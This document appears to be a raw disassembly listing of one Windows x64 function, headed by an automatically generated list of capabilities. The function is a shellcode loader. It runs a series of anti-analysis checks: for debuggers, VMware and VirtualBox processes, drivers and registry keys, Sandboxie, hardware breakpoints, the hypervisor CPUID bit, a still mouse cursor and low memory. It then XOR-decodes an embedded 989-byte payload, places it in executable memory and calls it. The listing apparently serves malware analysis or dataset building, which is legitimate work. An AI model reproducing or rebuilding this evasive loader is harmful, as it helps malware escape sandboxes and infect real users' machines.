Function at 0x140001070
Capabilities:
Accept command line arguments
Check for sandbox and av modules
Check for unmoving mouse cursor
Check if file exists
Create process on windows
Encode data using xor
Enumerate process modules
Get file attributes
Get memory capacity
Set registry value

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x1918]
mov eax, 0x1a18
call fcn.140002700
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x18f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
xor esi, esi
mov dword [rbp - 0x30], 0x68
movups xmmword [rbp], xmm0
mov dword [rbp + 0xc], 1
movups xmmword [rbp + 0x10], xmm0
mov word [rbp + 0x10], si
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp + 0x30], rax
movups xmmword [rbp - 0x10], xmm0
mov qword [rsp + 0x78], rax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000113a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x1400015e7
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
mov qword [rsp + 0x1a30], rbx
mov qword [rsp + 0x1a40], r12
mov qword [rsp + 0x1a10], r15
movaps xmmword [rsp + 0x1a00], xmm6
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, 7
lea rcx, [rbp + 0x1510]
mov eax, r12d
lea rdx, [0x140003800]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400011a0
mov rax, qword [rdx + 0x50]
mov r15, 0xffffffffffffffff
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rax
mov eax, dword [rdx + 0x58]
mov dword [rcx + 0x58], eax
movzx eax, byte [rdx + 0x5c]
mov byte [rcx + 0x5c], al
movabs rax, 0x75466f7430794b
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
nop dword [rax]
inc r15
cmp byte [rax + r15], sil
jne 0x140001250
lea rcx, str.Generating_and_sorting_array..._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, rsi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140001278
mov qword [rsp + 0x1a38], rdi
lea rcx, str.Array_generated_and_sorted._n
mov qword [rsp + 0x1a48], r14
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, 0x1388
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, ebx
lea rcx, str.Time_duration:__.2f_seconds_n
movd xmm6, eax
cvtdq2pd xmm6, xmm6
divsd xmm6, qword [0x1400037f8]
movaps xmm1, xmm6
movq rdx, xmm6
call fcn.140001010
movsd xmm0, qword [0x1400037f0]
mov eax, esi
comisd xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x1a00]
seta al
test eax, eax
jne 0x1400015ae
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov edx, eax
lea rcx, str.Debugger_present:__d_n
mov ebx, eax
call fcn.140001010
test ebx, ebx
jne 0x1400015ae
lea rax, str.vmware.exe
mov edx, 0x1000
mov qword [rbp - 0x70], rax
lea r8, [rbp - 0x80]
lea rax, str.vboxservice.exe
mov qword [rbp - 0x68], rax
lea rcx, [rbp + 0x510]
lea rax, str.vboxtray.exe
mov qword [rbp - 0x60], rax
lea rax, str.vmtoolsd.exe
mov qword [rbp - 0x58], rax
lea rax, str.vmwaretray.exe
mov qword [rbp - 0x50], rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14000137e
lea rcx, str.EnumProcesses_failed._n
jmp 0x14000145b
mov eax, dword [rbp - 0x80]
mov edi, esi
shr eax, 2
mov dword [rbp - 0x80], eax
test eax, eax
je 0x140001454
mov eax, edi
mov ebx, dword [rbp + rax*4 + 0x510]
test ebx, ebx
je 0x140001449
movups xmm0, xmmword [str._unknown_]
mov eax, dword [0x140003418]
lea rcx, [rbp + 0x54]
xor edx, edx
mov dword [rbp + 0x50], eax
mov r8d, 0x1f4
movaps xmmword [rbp + 0x40], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140001449
lea r9, [rbp - 0x78]
mov r8d, 8
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140001413
mov rdx, qword [rsp + 0x58]
lea r8, [rbp + 0x40]
mov r9d, 0x104
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
mov rbx, rsi
nop word [rax + rax]
mov rcx, qword [rbp + rbx*8 - 0x70]
lea rdx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140001503
inc rbx
cmp rbx, 5
jb 0x140001420
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbp - 0x80]
jb 0x140001391
lea rcx, str.Virtual_machine_not_detected._n
call fcn.140001010
lea rcx, str.SbieDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, esi
lea rcx, str.Sandboxed:__d_n
test rax, rax
mov rbx, rax
setne dl
call fcn.140001010
test rbx, rbx
jne 0x1400015ae
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x70], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001521
cmp qword [rbp + 0x88], rsi
jne 0x1400014f2
cmp qword [rbp + 0x90], rsi
jne 0x1400014f2
cmp qword [rbp + 0x98], rsi
jne 0x1400014f2
cmp qword [rbp + 0xa0], rsi
jne 0x1400014f2
cmp qword [rbp + 0xa8], rsi
jne 0x1400014f2
cmp qword [rbp + 0xb0], rsi
je 0x140001521
lea rcx, str.Anti_debugging_detected._n
call fcn.140001010
jmp 0x1400015ae
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x40]
lea rcx, str.Virtual_machine_detected:__S_n
call fcn.140001010
jmp 0x1400015ae
lea rcx, str.No_anti_debugging_detected._n
call fcn.140001010
movdqa xmm0, xmmword [0x140003be0]
xor ecx, ecx
movdqu xmmword [rsp + 0x58], xmm0
mov eax, 1
cpuid
mov edi, ecx
mov dword [rsp + 0x64], edx
mov edx, esi
mov dword [rsp + 0x60], ecx
and edi, 0x80000000
mov dword [rsp + 0x58], eax
lea rcx, str.Hardware_suspicious:__d_n
mov dword [rsp + 0x5c], ebx
setne dl
call fcn.140001010
test edi, edi
jne 0x1400015ae
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ebx, dword [rbp - 0x78]
mov ecx, 0x3e8
mov edi, dword [rbp - 0x74]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_GetCursorPos]
cmp ebx, dword [rbp - 0x78]
jne 0x140001600
cmp edi, dword [rbp - 0x74]
jne 0x140001600
xor edx, edx
lea rcx, str.Mouse_movement:__d_n
call fcn.140001010
lea rcx, str.Environment_checks_failed__exiting._n
call fcn.140001010
mov eax, 1
mov r14, qword [rsp + 0x1a48]
mov rdi, qword [rsp + 0x1a38]
mov r12, qword [rsp + 0x1a40]
mov rbx, qword [rsp + 0x1a30]
mov r15, qword [rsp + 0x1a10]
mov rcx, qword [rbp + 0x18f0]
xor rcx, rsp
call fcn.140001900
add rsp, 0x1a18
pop rsi
pop rbp
ret
mov edx, 1
lea rcx, str.Mouse_movement:__d_n
call fcn.140001010
lea rcx, str.C:WindowsSystem32driversVBoxSF.sys
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001637
lea rcx, str.C:WindowsSystem32drivers_vmmouse.sys
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, esi
cmp eax, 0xffffffff
je 0x14000163c
mov ebx, 1
mov edx, ebx
lea rcx, str.Sandbox_files_present:__d_n
call fcn.140001010
test ebx, ebx
jne 0x1400015ae
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, 0x80000000
lea rcx, str.Memory_suspicious:__d_n
cmp qword [rbp - 0x68], rax
mov ebx, esi
setb bl
mov edx, ebx
call fcn.140001010
test ebx, ebx
jne 0x1400015ae
lea rcx, str.Checking_sandbox_registry_keys..._n
call fcn.140001010
lea rax, [rsp + 0x58]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREOracleVirtualBox_Guest_Additions
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov ebx, esi
sete bl
test eax, eax
jne 0x1400016de
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, ebx
lea rcx, str.Sandbox_registry_keys_present:__d_n
jmp 0x1400015a9
mov edx, ebx
lea rcx, str.Sandbox_registry_keys_present:__d_n
call fcn.140001010
mov rcx, rsi
nop
xor edx, edx
mov rax, rcx
div r15
movzx eax, byte [rsp + rdx + 0x50]
xor byte [rbp + rcx + 0x1510], al
inc rcx
cmp rcx, 0x3dd
jb 0x1400016f0
mov dword [rbp - 0x80], esi
mov ebx, esi
nop word [rax + rax]
mov eax, dword [rbp - 0x80]
mov edx, ebx
imul edx, ebx
inc ebx
add edx, eax
mov dword [rbp - 0x80], edx
cmp ebx, 0x2710
jl 0x140001720
mov eax, dword [rbp - 0x80]
cmp eax, 0xdeadbeef
jne 0x14000174d
lea rcx, str.Obfuscation_routine_triggered_n
call fcn.140001010
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000176f
mov rbx, rsi
jmp 0x140001782
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001799
mov r14, rsi
jmp 0x1400017ac
lea rdx, str.VirtualFree
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400017d1
lea rdx, str.RtlMoveMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rbx, rbx
je 0x1400018d5
test r14, r14
je 0x1400018d5
test rsi, rsi
je 0x1400018d5
mov edx, 0x3dd
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call rbx
mov rdi, rax
test rax, rax
jne 0x14000181c
lea rcx, str.Failed_to_allocate_memory._n
call fcn.140001010
xor eax, eax
jmp 0x1400015bf
mov rdx, rdi
lea rbx, [rbp + 0x1510]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rbx, [rbx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r12, 1
jne 0x140001830
movups xmm0, xmmword [rbx]
mov rax, qword [rbx + 0x50]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x40], xmm0
mov qword [rdx + 0x50], rax
mov eax, dword [rbx + 0x58]
mov dword [rdx + 0x58], eax
movzx eax, byte [rbx + 0x5c]
mov byte [rdx + 0x5c], al
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call r14
xor eax, eax
jmp 0x1400015bf
lea rcx, str.Failed_to_resolve_necessary_functions._n
call fcn.140001010
xor eax, eax
jmp 0x1400015bf